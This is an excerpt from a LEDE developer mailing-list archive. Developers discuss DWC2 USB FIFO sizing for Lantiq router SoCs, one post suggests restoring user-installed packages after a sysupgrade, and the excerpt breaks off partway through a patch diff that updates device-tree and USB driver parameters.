On 01/06/2017 11:31 PM, Antti Sepp?l? wrote:
> On 6 January 2017 at 21:32, Hauke Mehrtens <hauke at hauke-m.de> wrote:
>> On 01/06/2017 08:26 PM, Martin Blumenstingl wrote:
>>> Hi Hauke,
>>>
>>> (CC'ing Mathias as he was looking into some of the USB issues as well)
>>>
>>> On Fri, Jan 6, 2017 at 8:06 PM, Hauke Mehrtens <hauke at hauke-m.de> wrote:
>>>> This makes the code use the same settings aas the vendor sdrivers.
>>> s/aas/as/
>>> s/sdrivers/driver/
>>> you should probably also mention that this:
>>> 1. backports USB initialization fixes for XRX300, Danube and Amazon-SE
>>> 2. sets the clock source for all SoCs which fixes USB (initialization)
>>> issues on Danube when using the dwc2 driver (thus fixes FS#351 and
>>> supersedes Mathias' "lantiq: set the usb clock source" RFC patch)
>>
>> Yes after I send the patch I noticed that I haven't updated the commit
>> message. I will fix that.
>>
>> Could someone please test this patch and report back if it fixes the
>> problems on Danube and works on Amazon SE or improves something in VR9?
>> Positive and negative reports would be nice. I have only tested it on
>> VR9 till now, I have to look what other boards I have here.
>>
> 
> Hi Hauke.

Hi Antti,

I am also not an USB or DWC2 expert looked into this more or less the
first time some days ago.

> The patch looks good except for the choices of fifo sizes from vendor
> driver which from the point-of-view of usb packet sizes are quite odd
> will break at least certain audio devices.

Probably the vendor driver is optimized for storage or mobile data
devices which is the most common use case for USB on this SoC.

> If I recall correctly the dwc2 specification (Method 1) proposes
> values for fifo size at minimum of:
> 
> rx fifo size: 258 + number of host channels
> non-periodic tx fifo size: 128
> periodic tx fifo size: 768
> 
> The spec Method 2 which is used by the upstream driver autodetection
> logic[1] doubles the rx and nptx sizes to try to fit two packets at
> once for greater performance.
> 
> Especially the periodic fifo size choice of 32 for vr9 is way too
> small to accommodate a complete usb packet.
> We used to have the vendor driver values in use for vr9 but there were
> some complaints on openwrt forum that usb audio devices did not work.
> 
> Changing the values to closer resemble the dwc2 specification actually
> allows audio devices to work for some people [2].

Does a Fifo size of 96 work for most audio applications? If that is true
we should probably use that.

> Unfortunately the default total fifo size is 512 which can never
> fulfil the dwc2 specification completely.

The reset value is the biggest possible value which was configured in
the coreConsultant configuration which is probably the step when the
hardware core gets configured by the SoC designer.

So my understanding is that the controller first copies the data
received from USB into this RAM and then does a DMA transfer into main
memory, for transmit this is going in the other direction.

> Is there a way to programmatically re-allocate a bigger fifo for the
> lantiq platform during initialization? If there is we could let the
> dwc2 driver autoconfigure the fifos as it sees fit.

I think the RAM is internal in the USB controller and not an external
RAM or an area of main memory. The dwc2 driver says on xrx200 we have
total_fifo_size=552. My documentation says that we have 2.5 KBytes in
xrx200 and 8 KBytes on Danube. There are no lantiq specific registers
for this FIFOs only the dwc2 common ones.

On xrx200 we have 552 fifo positions to use, I think we should go back
to your values and add the extra 40 fifo positions somewhere.

> Also the dwc2 driver apparently does a pretty good job at
> autoconfiguring various other parameters for optimum performance so I
> wonder whether we should rely on that instead of hard-coding them?

Is there any autoconfig code for the fifo sizes? I only saw the code in
dwc2_calculate_dynamic_fifo() which will not work with our restricted
memory.

> A disclaimer though: I'm not an usb expert. I only did the best I
> could with the fifo values based on my testing and reading the dwc2
> spec :)

Do you have a dwc2 spec, I only have only the description of some, not
all registers.

> 1. https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/usb/dwc2/core.c?h=v4.4#n892
> 2. https://forum.openwrt.org/viewtopic.php?pid=299862#p299862
> 



From a.seppala at gmail.com  Sat Jan  7 03:25:03 2017
From: a.seppala at gmail.com (=?UTF-8?B?QW50dGkgU2VwcMOkbMOk?=)
Date: Sat, 7 Jan 2017 13:25:03 +0200
Subject: [LEDE-DEV] [PATCH] lantiq: update USB controller handling
In-Reply-To: <18525fcb-4342-912e-9fcd-84e0c05c7c8e@hauke-m.de>
References: <20170106190633.21185-1-hauke@hauke-m.de>
 <CAFBinCDVD_BTEKO-qm_RX8EwZox8-J0wcb05gC39qxogCdRBcg@mail.gmail.com>
 <4686b1e3-5bee-ce0a-caa3-4c559c000b32@hauke-m.de>
 <CAKv9HNao-Xh+kF9SdOxhwBy_it==8TqBWdnd1p6t_WCFNE59EQ@mail.gmail.com>
 <18525fcb-4342-912e-9fcd-84e0c05c7c8e@hauke-m.de>
Message-ID: <CAKv9HNZ=bQF6rT5EfJ7K+eGV19hmgDr6Qs8rtBHKra9H1j_MJQ@mail.gmail.com>

On 7 January 2017 at 04:01, Hauke Mehrtens <hauke at hauke-m.de> wrote:
> On 01/06/2017 11:31 PM, Antti Sepp?l? wrote:
>> On 6 January 2017 at 21:32, Hauke Mehrtens <hauke at hauke-m.de> wrote:
>>> On 01/06/2017 08:26 PM, Martin Blumenstingl wrote:
>>>> Hi Hauke,
>>>>
>>>> (CC'ing Mathias as he was looking into some of the USB issues as well)
>>>>
>>>> On Fri, Jan 6, 2017 at 8:06 PM, Hauke Mehrtens <hauke at hauke-m.de> wrote:
>>>>> This makes the code use the same settings aas the vendor sdrivers.
>>>> s/aas/as/
>>>> s/sdrivers/driver/
>>>> you should probably also mention that this:
>>>> 1. backports USB initialization fixes for XRX300, Danube and Amazon-SE
>>>> 2. sets the clock source for all SoCs which fixes USB (initialization)
>>>> issues on Danube when using the dwc2 driver (thus fixes FS#351 and
>>>> supersedes Mathias' "lantiq: set the usb clock source" RFC patch)
>>>
>>> Yes after I send the patch I noticed that I haven't updated the commit
>>> message. I will fix that.
>>>
>>> Could someone please test this patch and report back if it fixes the
>>> problems on Danube and works on Amazon SE or improves something in VR9?
>>> Positive and negative reports would be nice. I have only tested it on
>>> VR9 till now, I have to look what other boards I have here.
>>>
>>
>> Hi Hauke.
>
> Hi Antti,
>
> I am also not an USB or DWC2 expert looked into this more or less the
> first time some days ago.
>
>> The patch looks good except for the choices of fifo sizes from vendor
>> driver which from the point-of-view of usb packet sizes are quite odd
>> will break at least certain audio devices.
>
> Probably the vendor driver is optimized for storage or mobile data
> devices which is the most common use case for USB on this SoC.
>
>> If I recall correctly the dwc2 specification (Method 1) proposes
>> values for fifo size at minimum of:
>>
>> rx fifo size: 258 + number of host channels
>> non-periodic tx fifo size: 128
>> periodic tx fifo size: 768
>>
>> The spec Method 2 which is used by the upstream driver autodetection
>> logic[1] doubles the rx and nptx sizes to try to fit two packets at
>> once for greater performance.
>>
>> Especially the periodic fifo size choice of 32 for vr9 is way too
>> small to accommodate a complete usb packet.
>> We used to have the vendor driver values in use for vr9 but there were
>> some complaints on openwrt forum that usb audio devices did not work.
>>
>> Changing the values to closer resemble the dwc2 specification actually
>> allows audio devices to work for some people [2].
>
> Does a Fifo size of 96 work for most audio applications? If that is true
> we should probably use that.
>

Apparently it does work, at least there have not been further
bug-reports that I know of. We've been using the new fifo values for
over a year now.

>> Unfortunately the default total fifo size is 512 which can never
>> fulfil the dwc2 specification completely.
>
> The reset value is the biggest possible value which was configured in
> the coreConsultant configuration which is probably the step when the
> hardware core gets configured by the SoC designer.
>
> So my understanding is that the controller first copies the data
> received from USB into this RAM and then does a DMA transfer into main
> memory, for transmit this is going in the other direction.
>
>> Is there a way to programmatically re-allocate a bigger fifo for the
>> lantiq platform during initialization? If there is we could let the
>> dwc2 driver autoconfigure the fifos as it sees fit.
>
> I think the RAM is internal in the USB controller and not an external
> RAM or an area of main memory. The dwc2 driver says on xrx200 we have
> total_fifo_size=552. My documentation says that we have 2.5 KBytes in
> xrx200 and 8 KBytes on Danube. There are no lantiq specific registers
> for this FIFOs only the dwc2 common ones.
>

Too bad but it makes sense. It's strange that the size was actually
reduced in newer SoCs but I guess there's nothing we can do but try to
cope with it.

> On xrx200 we have 552 fifo positions to use, I think we should go back
> to your values and add the extra 40 fifo positions somewhere.
>

I think on ar9 the driver reports a total fifo size of 512 so I did
the parameters with that upper limit in mind. If we want to create a
separate xrx200 configuration then I'd probably use the extra 40
positions to further increase the periodic tx fifo.

Upstream driver is working to deprecate the built-in parameters in
favor of devicetree properties which I guess would be the best way to
add new configurations.

>> Also the dwc2 driver apparently does a pretty good job at
>> autoconfiguring various other parameters for optimum performance so I
>> wonder whether we should rely on that instead of hard-coding them?
>
> Is there any autoconfig code for the fifo sizes? I only saw the code in
> dwc2_calculate_dynamic_fifo() which will not work with our restricted
> memory.
>

No that's the only one but I was actually referring to other
parameters in dwc2_core_params such as dma_desc_enable, speed,
phy_type and phy_utmi_width.

>> A disclaimer though: I'm not an usb expert. I only did the best I
>> could with the fifo values based on my testing and reading the dwc2
>> spec :)
>
> Do you have a dwc2 spec, I only have only the description of some, not
> all registers.
>

Sadly not anymore but I think you can request it from Synopsys...

>> 1. https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/usb/dwc2/core.c?h=v4.4#n892
>> 2. https://forum.openwrt.org/viewtopic.php?pid=299862#p299862
>>
>

-- 
Antti


From hauke at hauke-m.de  Sat Jan  7 09:02:53 2017
From: hauke at hauke-m.de (Hauke Mehrtens)
Date: Sat, 7 Jan 2017 18:02:53 +0100
Subject: [LEDE-DEV] [PATCH] lantiq: update USB controller handling
In-Reply-To: <CAKv9HNZ=bQF6rT5EfJ7K+eGV19hmgDr6Qs8rtBHKra9H1j_MJQ@mail.gmail.com>
References: <20170106190633.21185-1-hauke@hauke-m.de>
 <CAFBinCDVD_BTEKO-qm_RX8EwZox8-J0wcb05gC39qxogCdRBcg@mail.gmail.com>
 <4686b1e3-5bee-ce0a-caa3-4c559c000b32@hauke-m.de>
 <CAKv9HNao-Xh+kF9SdOxhwBy_it==8TqBWdnd1p6t_WCFNE59EQ@mail.gmail.com>
 <18525fcb-4342-912e-9fcd-84e0c05c7c8e@hauke-m.de>
 <CAKv9HNZ=bQF6rT5EfJ7K+eGV19hmgDr6Qs8rtBHKra9H1j_MJQ@mail.gmail.com>
Message-ID: <a53a9d65-a36e-7b48-9d6f-9c2fa3aaa34f@hauke-m.de>

On 01/07/2017 12:25 PM, Antti Sepp?l? wrote:
> On 7 January 2017 at 04:01, Hauke Mehrtens <hauke at hauke-m.de> wrote:
>> On 01/06/2017 11:31 PM, Antti Sepp?l? wrote:
>>> On 6 January 2017 at 21:32, Hauke Mehrtens <hauke at hauke-m.de> wrote:
>>>> On 01/06/2017 08:26 PM, Martin Blumenstingl wrote:
>>>>> Hi Hauke,
>>>>>
>>>>> (CC'ing Mathias as he was looking into some of the USB issues as well)
>>>>>
>>>>> On Fri, Jan 6, 2017 at 8:06 PM, Hauke Mehrtens <hauke at hauke-m.de> wrote:
>>>>>> This makes the code use the same settings aas the vendor sdrivers.
>>>>> s/aas/as/
>>>>> s/sdrivers/driver/
>>>>> you should probably also mention that this:
>>>>> 1. backports USB initialization fixes for XRX300, Danube and Amazon-SE
>>>>> 2. sets the clock source for all SoCs which fixes USB (initialization)
>>>>> issues on Danube when using the dwc2 driver (thus fixes FS#351 and
>>>>> supersedes Mathias' "lantiq: set the usb clock source" RFC patch)
>>>>
>>>> Yes after I send the patch I noticed that I haven't updated the commit
>>>> message. I will fix that.
>>>>
>>>> Could someone please test this patch and report back if it fixes the
>>>> problems on Danube and works on Amazon SE or improves something in VR9?
>>>> Positive and negative reports would be nice. I have only tested it on
>>>> VR9 till now, I have to look what other boards I have here.
>>>>
>>>
>>> Hi Hauke.
>>
>> Hi Antti,
>>
>> I am also not an USB or DWC2 expert looked into this more or less the
>> first time some days ago.
>>
>>> The patch looks good except for the choices of fifo sizes from vendor
>>> driver which from the point-of-view of usb packet sizes are quite odd
>>> will break at least certain audio devices.
>>
>> Probably the vendor driver is optimized for storage or mobile data
>> devices which is the most common use case for USB on this SoC.
>>
>>> If I recall correctly the dwc2 specification (Method 1) proposes
>>> values for fifo size at minimum of:
>>>
>>> rx fifo size: 258 + number of host channels
>>> non-periodic tx fifo size: 128
>>> periodic tx fifo size: 768
>>>
>>> The spec Method 2 which is used by the upstream driver autodetection
>>> logic[1] doubles the rx and nptx sizes to try to fit two packets at
>>> once for greater performance.
>>>
>>> Especially the periodic fifo size choice of 32 for vr9 is way too
>>> small to accommodate a complete usb packet.
>>> We used to have the vendor driver values in use for vr9 but there were
>>> some complaints on openwrt forum that usb audio devices did not work.
>>>
>>> Changing the values to closer resemble the dwc2 specification actually
>>> allows audio devices to work for some people [2].
>>
>> Does a Fifo size of 96 work for most audio applications? If that is true
>> we should probably use that.
>>
> 
> Apparently it does work, at least there have not been further
> bug-reports that I know of. We've been using the new fifo values for
> over a year now.

I have heard from someone that his USB setup did not work, but I do not
know what exactly he did.

>>> Unfortunately the default total fifo size is 512 which can never
>>> fulfil the dwc2 specification completely.
>>
>> The reset value is the biggest possible value which was configured in
>> the coreConsultant configuration which is probably the step when the
>> hardware core gets configured by the SoC designer.
>>
>> So my understanding is that the controller first copies the data
>> received from USB into this RAM and then does a DMA transfer into main
>> memory, for transmit this is going in the other direction.
>>
>>> Is there a way to programmatically re-allocate a bigger fifo for the
>>> lantiq platform during initialization? If there is we could let the
>>> dwc2 driver autoconfigure the fifos as it sees fit.
>>
>> I think the RAM is internal in the USB controller and not an external
>> RAM or an area of main memory. The dwc2 driver says on xrx200 we have
>> total_fifo_size=552. My documentation says that we have 2.5 KBytes in
>> xrx200 and 8 KBytes on Danube. There are no lantiq specific registers
>> for this FIFOs only the dwc2 common ones.
>>
> 
> Too bad but it makes sense. It's strange that the size was actually
> reduced in newer SoCs but I guess there's nothing we can do but try to
> cope with it.
> 
>> On xrx200 we have 552 fifo positions to use, I think we should go back
>> to your values and add the extra 40 fifo positions somewhere.
>>
> 
> I think on ar9 the driver reports a total fifo size of 512 so I did
> the parameters with that upper limit in mind. If we want to create a
> separate xrx200 configuration then I'd probably use the extra 40
> positions to further increase the periodic tx fifo.

Now I checked all the documentation and we have the following internal
RAM sizes:
Danube + Amazon: 8 KByte
Amazon SE + arx100: 2 KByte
xrx200 + xrx300: 2.5 KByte

> Upstream driver is working to deprecate the built-in parameters in
> favor of devicetree properties which I guess would be the best way to
> add new configurations.

What is the status of this? I haven't seen this in v4.10-rc2.

>>> Also the dwc2 driver apparently does a pretty good job at
>>> autoconfiguring various other parameters for optimum performance so I
>>> wonder whether we should rely on that instead of hard-coding them?
>>
>> Is there any autoconfig code for the fifo sizes? I only saw the code in
>> dwc2_calculate_dynamic_fifo() which will not work with our restricted
>> memory.
>>
> 
> No that's the only one but I was actually referring to other
> parameters in dwc2_core_params such as dma_desc_enable, speed,
> phy_type and phy_utmi_width.

OK, I will try to use the auto detection for them if possible.

>>> A disclaimer though: I'm not an usb expert. I only did the best I
>>> could with the fifo values based on my testing and reading the dwc2
>>> spec :)
>>
>> Do you have a dwc2 spec, I only have only the description of some, not
>> all registers.
>>
> 
> Sadly not anymore but I think you can request it from Synopsys...
> 
>>> 1. https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/drivers/usb/dwc2/core.c?h=v4.4#n892
>>> 2. https://forum.openwrt.org/viewtopic.php?pid=299862#p299862
>>>
>>
> 



From oswald.buddenhagen at gmx.de  Sat Jan  7 10:04:28 2017
From: oswald.buddenhagen at gmx.de (Oswald Buddenhagen)
Date: Sat, 7 Jan 2017 19:04:28 +0100
Subject: [LEDE-DEV] how to make sysupgrade not drop user-installed packages
Message-ID: <20170107180428.GA29356@ugly>

moin,

i'm wondering what could be done about the nuisance that after a
sysupgrade one needs to manually re-install the user-installed packages.
the documented process is pretty much algorithmic, so it seems like a
shame that it's not (mostly) automated.

the idea would be to simply dump the list of user-installed packages into
a config file which is preserved by sysupgrade. now, firstboot would see
that file and start opgk with it - that's usually going to just work, as
the network configuration is preserved as well. on top of that, luci
could offer a button in the software manager to manually trigger the
process in case the fully automated restoration didn't work out.

scripts for doing just that have been posted years ago, so i'm wondering
why such a mechanism wasn't integrated upstream. am i missing something,
or did just nobody think it important enough to do?


of course, this immediately prompts the next question: why doesn't
luci's flash operations page have an auto-download option for the
sysupgrade image? the locations of the package feeds are also inside the
image, and automating the integrity check isn't rocket science, either.

of course, it sort of makes sense to have a copy of the last working
sysupgrade image outside the router, and that's basically a side effect
of the manual process (unless one is dumb enough to delete/overwrite the
previous image). however, the option to download a sysupgrade image for
the running system could be provided as another backup option -
extracting/recreating it from the flash shouldn't be that hard, i guess?

thoughts?


From hauke at hauke-m.de  Sat Jan  7 10:29:04 2017
From: hauke at hauke-m.de (Hauke Mehrtens)
Date: Sat,  7 Jan 2017 19:29:04 +0100
Subject: [LEDE-DEV] [PATCH v2] lantiq: update USB controller handling
Message-ID: <20170107182904.30476-1-hauke@hauke-m.de>

This adds USB initialization fixes for Danube, Amazon SE and xrx300 and
should fix the clock on at least Danube which hopefully fixes FS#351.

The xrx200 usb driver now uses more memory for the dwc2 fifos, this was
increased in the chip compared to ar9.

This is based on the vendor documentation and the vendor Code base.

Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
---

If some of these dwc2 values should be changed, please suggest changes, 
I am not an expert on this.
This was only tested on vrx200 devices not on any other SoC, please 
test and report back, I would like to get this into the next release 
and then clean it up and send it upstream.

 target/linux/lantiq/dts/amazonse.dtsi              |   3 +-
 target/linux/lantiq/dts/ar9.dtsi                   |   6 +-
 target/linux/lantiq/dts/danube.dtsi                |   2 +-
 target/linux/lantiq/dts/vr9.dtsi                   |   6 +-
 ...MIPS-lantiq-danube-initialize-usb-on-boot.patch |  10 -
 .../patches-4.4/0041-USB-DWC2-add-ltq-params.patch |  75 --------
 .../linux/lantiq/patches-4.4/0047-poweroff.patch   |   2 +-
 ...2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch |  78 ++++++++
 ...ke-the-lantiq-settings-match-vendor-drive.patch |  99 ++++++++++
 ...65-MIPS-lantiq-improve-USB-initialization.patch | 202 +++++++++++++++++++++
 ...x200-add-gphy-clk-src-device-tree-binding.patch |   6 +-
 11 files changed, 394 insertions(+), 95 deletions(-)
 delete mode 100644 target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
 delete mode 100644 target/linux/lantiq/patches-4.4/0041-USB-DWC2-add-ltq-params.patch
 create mode 100644 target/linux/lantiq/patches-4.4/0060-usb-dwc2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch
 create mode 100644 target/linux/lantiq/patches-4.4/0061-USB-DWC2-make-the-lantiq-settings-match-vendor-drive.patch
 create mode 100644 target/linux/lantiq/patches-4.4/0065-MIPS-lantiq-improve-USB-initialization.patch

diff --git a/target/linux/lantiq/dts/amazonse.dtsi b/target/linux/lantiq/dts/amazonse.dtsi
index bce618fed8..2b8ad08140 100644
--- a/target/linux/lantiq/dts/amazonse.dtsi
+++ b/target/linux/lantiq/dts/amazonse.dtsi
@@ -122,11 +122,12 @@
 		};
 
 		ifxhcd at E101000 {
-			compatible = "lantiq,ifxhcd-ase";
+			compatible = "lantiq,ase-usb", "lantiq,ifxhcd-ase";
 			reg = <0xE101000 0x1000
 				0xE120000 0x3f000>;
 			interrupt-parent = <&icu0>;
 			interrupts = <39>;
+			dr_mode = "host";
 			status = "disabled";
 		};
 
diff --git a/target/linux/lantiq/dts/ar9.dtsi b/target/linux/lantiq/dts/ar9.dtsi
index 569f25f02c..2638a4b268 100644
--- a/target/linux/lantiq/dts/ar9.dtsi
+++ b/target/linux/lantiq/dts/ar9.dtsi
@@ -137,20 +137,22 @@
 		};
 
 		ifxhcd at E101000 {
-			compatible = "lantiq,ifxhcd-arx100", "lantiq,ifxhcd-arx100-dwc2";
+			compatible = "lantiq,arx100-usb", "lantiq,ifxhcd-arx100";
 			reg = <0xE101000 0x1000
 				0xE120000 0x3f000>;
 			interrupt-parent = <&icu0>;
 			interrupts = <62 91>;
+			dr_mode = "host";
 			status = "disabled";
 		};
 
 		ifxhcd at E106000 {
-			compatible = "lantiq,ifxhcd-arx100-dwc2";
+			compatible = "lantiq,arx100-usb";
 			reg = <0xE106000 0x1000
 				0xE1E0000 0x3f000>;
 			interrupt-parent = <&icu0>;
 			interrupts = <91>;
+			dr_mode = "host";
 			status = "disabled";
 		};
 
diff --git a/target/linux/lantiq/dts/danube.dtsi b/target/linux/lantiq/dts/danube.dtsi
index f11787f975..83e85c36a5 100644
--- a/target/linux/lantiq/dts/danube.dtsi
+++ b/target/linux/lantiq/dts/danube.dtsi
@@ -143,7 +143,7 @@
 		};
 
 		ifxhcd at E101000 {
-			compatible = "lantiq,ifxhcd-danube-dwc2", "lantiq,ifxhcd-danube";
+			compatible = "lantiq,danube-usb", "lantiq,ifxhcd-danube";
 			reg = <0xE101000 0x1000
 				0xE120000 0x3f000>;
 			interrupt-parent = <&icu0>;
diff --git a/target/linux/lantiq/dts/vr9.dtsi b/target/linux/lantiq/dts/vr9.dtsi
index 4810a91c5c..eff4944411 100644
--- a/target/linux/lantiq/dts/vr9.dtsi
+++ b/target/linux/lantiq/dts/vr9.dtsi
@@ -177,19 +177,21 @@
 
 		ifxhcd at E101000 {
 			status = "disabled";
-			compatible = "lantiq,ifxhcd-xrx200", "lantiq,ifxhcd-xrx200-dwc2";
+			compatible = "lantiq,xrx200-usb", "lantiq,ifxhcd-xrx200";
 			reg = <0xE101000 0x1000
 				0xE120000 0x3f000>;
 			interrupt-parent = <&icu0>;
 			interrupts = <62 91>;
+			dr_mode = "host";
 		};
 
 		ifxhcd at E106000 {
 			status = "disabled";
-			compatible = "lantiq,ifxhcd-xrx200-dwc2";
+			compatible = "lantiq,xrx200-usb";
 			reg = <0xE106000 0x1000>;
 			interrupt-parent = <&icu0>;
 			interrupts = <91>;
+			dr_mode = "host";
 		};
 
 		eth0: eth at E108000 {
diff --git a/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch b/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
deleted file mode 100644
index bd42f38c0a..0000000000
--- a/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
+++ /dev/null
@@ -1,10 +0,0 @@
---- a/arch/mips/lantiq/xway/reset.c
-+++ b/arch/mips/lantiq/xway/reset.c
-@@ -370,6 +370,7 @@ static int __init mips_reboot_setup(void
- 		panic("Failed to remap core memory");
- 
- 	if (of_machine_is_compatible("lantiq,ar9") ||
-+	    of_machine_is_compatible("lantiq,danube") ||
- 	    of_machine_is_compatible("lantiq,vr9"))
- 		ltq_usb_init();
- 
diff --git a/target/linux/lantiq/patches-4.4/0041-USB-DWC2-add-ltq-params.patch b/target/linux/lantiq/patches-4.4/0041-USB-DWC2-add-ltq-params.patch
deleted file mode 100644
index 68d5f3ff4d..0000000000
--- a/target/linux/lantiq/patches-4.4/0041-USB-DWC2-add-ltq-params.patch
+++ /dev/null
@@ -1,75 +0,0 @@
---- a/drivers/usb/dwc2/platform.c
-+++ b/drivers/usb/dwc2/platform.c
-@@ -145,6 +145,62 @@ static int __dwc2_lowlevel_hw_enable(str
- 	return ret;
- }
- 
-+static const struct dwc2_core_params params_ltq = {
-+	.otg_cap			= 2,	/* non-HNP/non-SRP */
-+	.otg_ver			= -1,
-+	.dma_enable			= -1,
-+	.dma_desc_enable		= -1,
-+	.speed				= -1,
-+	.enable_dynamic_fifo		= -1,
-+	.en_multiple_tx_fifo		= -1,
-+	.host_rx_fifo_size		= 288,	/* 288 DWORDs */
-+	.host_nperio_tx_fifo_size	= 128,	/* 128 DWORDs */
-+	.host_perio_tx_fifo_size	= 96,	/* 96 DWORDs */
-+	.max_transfer_size		= -1,
-+	.max_packet_count		= 511,
-+	.host_channels			= -1,
-+	.phy_type			= -1,
-+	.phy_utmi_width			= -1,
-+	.phy_ulpi_ddr			= -1,
-+	.phy_ulpi_ext_vbus		= -1,
-+	.i2c_enable			= -1,
-+	.ulpi_fs_ls			= -1,
-+	.host_support_fs_ls_low_power	= -1,
-+	.host_ls_low_power_phy_clk	= -1,
-+	.ts_dline			= -1,
-+	.reload_ctl			= -1,
-+	.ahbcfg				= GAHBCFG_HBSTLEN_INCR16 << GAHBCFG_HBSTLEN_SHIFT,
-+	.uframe_sched			= -1,
-+};
-+
-+static const struct dwc2_core_params params_danube = {
-+	.otg_cap			=  2,	/* non-HNP/non-SRP */
-+	.otg_ver			= -1,
-+	.dma_enable			= -1,
-+	.dma_desc_enable		= -1,
-+	.speed				= -1,
-+	.enable_dynamic_fifo		= -1,
-+	.en_multiple_tx_fifo		= -1,
-+	.host_rx_fifo_size		= -1,
-+	.host_nperio_tx_fifo_size	= -1,
-+	.host_perio_tx_fifo_size	= -1,
-+	.max_transfer_size		= -1,
-+	.max_packet_count		= -1,
-+	.host_channels			= -1,
-+	.phy_type			= -1,
-+	.phy_utmi_width			= -1,
-+	.phy_ulpi_ddr			= -1,
-+	.phy_ulpi_ext_vbus		= -1,
-+	.i2c_enable			= -1,
-+	.ulpi_fs_ls			= -1,
-+	.host_support_fs_ls_low_power	= -1,
-+	.host_ls_low_power_phy_clk	= -1,
-+	.ts_dline			= -1,
-+	.reload_ctl			= -1,
-+	.ahbcfg				= -1,
-+	.uframe_sched			= -1,
-+};
-+
- /**
-  * dwc2_lowlevel_hw_enable - enable platform lowlevel hw resources
-  * @hsotg: The driver state
-@@ -310,6 +366,9 @@ static int dwc2_driver_remove(struct pla
- static const struct of_device_id dwc2_of_match_table[] = {
- 	{ .compatible = "brcm,bcm2835-usb", .data = &params_bcm2835 },
- 	{ .compatible = "rockchip,rk3066-usb", .data = &params_rk3066 },
-+	{ .compatible = "lantiq,ifxhcd-danube-dwc2", .data = &params_danube },
-+	{ .compatible = "lantiq,ifxhcd-arx100-dwc2", .data = &params_ltq },
-+	{ .compatible = "lantiq,ifxhcd-xrx200-dwc2", .data = &params_ltq },
- 	{ .compatible = "snps,dwc2", .data = NULL },
- 	{ .compatible = "samsung,s3c6400-hsotg", .data = NULL},
- 	{},
diff --git a/target/linux/lantiq/patches-4.4/0047-poweroff.patch b/target/linux/lantiq/patches-4.4/0047-poweroff.patch
index 88aed2ce96..54249bba52 100644
--- a/target/linux/lantiq/patches-4.4/0047-poweroff.patch
+++ b/target/linux/lantiq/patches-4.4/0047-poweroff.patch
@@ -13,7 +13,7 @@
  static void ltq_usb_init(void)
  {
  	/* Power for USB cores 1 & 2 */
-@@ -380,7 +374,6 @@ static int __init mips_reboot_setup(void
+@@ -379,7 +373,6 @@ static int __init mips_reboot_setup(void
  
  	_machine_restart = ltq_machine_restart;
  	_machine_halt = ltq_machine_halt;
diff --git a/target/linux/lantiq/patches-4.4/0060-usb-dwc2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch b/target/linux/lantiq/patches-4.4/0060-usb-dwc2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch
new file mode 100644
index 0000000000..91d6ac92e7
--- /dev/null
+++ b/target/linux/lantiq/patches-4.4/0060-usb-dwc2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch
@@ -0,0 +1,78 @@
+From 6c0c0951bbf8c2c216675fe277fba4c42aa0a2bf Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Antti=20Sepp=C3=A4l=C3=A4?= <a.seppala at gmail.com>
+Date: Sat, 27 Feb 2016 12:31:24 +0200
+Subject: [PATCH] usb: dwc2: Add support for Lantiq ARX and XRX SoCs
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Add support for Lantiq ARX and XRX SoC families to the dwc2 driver.
+
+Acked-by: John Youn <johnyoun at synopsys.com>
+Signed-off-by: Antti Sepp?l? <a.seppala at gmail.com>
+Signed-off-by: Felipe Balbi <balbi at kernel.org>
+---
+ Documentation/devicetree/bindings/usb/dwc2.txt |  2 ++
+ drivers/usb/dwc2/platform.c                    | 34 ++++++++++++++++++++++++++
+ 2 files changed, 36 insertions(+)
+
+--- a/Documentation/devicetree/bindings/usb/dwc2.txt
++++ b/Documentation/devicetree/bindings/usb/dwc2.txt
+@@ -7,6 +7,8 @@ Required properties:
+   - rockchip,rk3066-usb: The DWC2 USB controller instance in the rk3066 Soc;
+   - "rockchip,rk3188-usb", "rockchip,rk3066-usb", "snps,dwc2": for rk3188 Soc;
+   - "rockchip,rk3288-usb", "rockchip,rk3066-usb", "snps,dwc2": for rk3288 Soc;
++  - "lantiq,arx100-usb": The DWC2 USB controller instance in Lantiq ARX SoCs;
++  - "lantiq,xrx200-usb": The DWC2 USB controller instance in Lantiq XRX SoCs;
+   - snps,dwc2: A generic DWC2 USB controller with default parameters.
+ - reg : Should contain 1 register range (address and length)
+ - interrupts : Should contain 1 interrupt
+--- a/drivers/usb/dwc2/platform.c
++++ b/drivers/usb/dwc2/platform.c
+@@ -116,6 +116,37 @@ static const struct dwc2_core_params par
+ 	.hibernation			= -1,
+ };
+ 
++static const struct dwc2_core_params params_ltq = {
++	.otg_cap			= 2,	/* non-HNP/non-SRP */
++	.otg_ver			= -1,
++	.dma_enable			= -1,
++	.dma_desc_enable		= -1,
++	.speed				= -1,
++	.enable_dynamic_fifo		= -1,
++	.en_multiple_tx_fifo		= -1,
++	.host_rx_fifo_size		= 288,	/* 288 DWORDs */
++	.host_nperio_tx_fifo_size	= 128,	/* 128 DWORDs */
++	.host_perio_tx_fifo_size	= 96,	/* 96 DWORDs */
++	.max_transfer_size		= 65535,
++	.max_packet_count		= 511,
++	.host_channels			= -1,
++	.phy_type			= -1,
++	.phy_utmi_width			= -1,
++	.phy_ulpi_ddr			= -1,
++	.phy_ulpi_ext_vbus		= -1,
++	.i2c_enable			= -1,
++	.ulpi_fs_ls			= -1,
++	.host_support_fs_ls_low_power	= -1,
++	.host_ls_low_power_phy_clk	= -1,
++	.ts_dline			= -1,
++	.reload_ctl			= -1,
++	.ahbcfg				= GAHBCFG_HBSTLEN_INCR16 <<
++					  GAHBCFG_HBSTLEN_SHIFT,
++	.uframe_sched			= -1,
